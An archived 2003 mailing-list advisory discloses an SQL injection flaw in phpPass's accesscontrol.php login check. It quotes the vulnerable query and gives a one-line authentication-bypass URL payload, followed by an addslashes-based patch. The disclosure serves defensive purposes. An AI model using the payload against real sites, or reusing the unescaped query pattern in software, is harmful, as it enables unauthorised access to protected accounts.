phpPass (PHP)

From: Frog Man (leseulfrogat_private)
Date: Mon Jan 13 2003 - 02:34:27 PST

  • Next message: @stake Advisories: "Etherleak: Ethernet frame padding information leakage (A010603-1)" 

    Informations :
같같같같같같같
Version : 2
Website : http://www.agames-net.com
Problem : SQL Injection

PHP Code/Location :
같같같같같같같같같�
accesscontrol.php :
------------------------------------------------
[...]
session_register("uid");
session_register("pwd");
[...]
$sql = "SELECT * FROM user WHERE
        userid = '$uid' AND password = '$pwd'";
$result = mysql_query($sql);
[...]
if (mysql_num_rows($result) == 0) {
  session_unregister("uid");
  session_unregister("pwd");
  ?>
  <html>
  <head>
  <title> Access Denied </title>
[...]
  exit;
[...]
------------------------------------------------


Exploit :
같같같같�
http://[target]/protectedpage.php?uid='%20OR%20''='&pwd='%20OR%20''='


Patch :
같같같�
In accesscontrol.php, replace the lines :
-------------------------------------------------
$sql = "SELECT * FROM user WHERE
        userid = '$uid' AND password = '$pwd'";
$result = mysql_query($sql);
------------------------------------------------

by :
------------------------------------------------------------------------
$uid=addslashes($uid);
$pwd=addslashes($pwd);
$sql = "SELECT * FROM user WHERE userid = '$uid' AND password = '$pwd'";
$result = mysql_query($sql);
------------------------------------------------------------------------

A patch can be found on http://www.phpsecure.org .


More details :
같같같같같같같
In French :
http://www.frog-man.org/tutos/phpPass.txt
translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FphpPass.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools


frog-m@n



_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis ! 
http://www.msn.fr/msger/default.asp

    This archive was generated by hypermail 2b30 : Mon Jan 20 2003 - 04:20:39 PST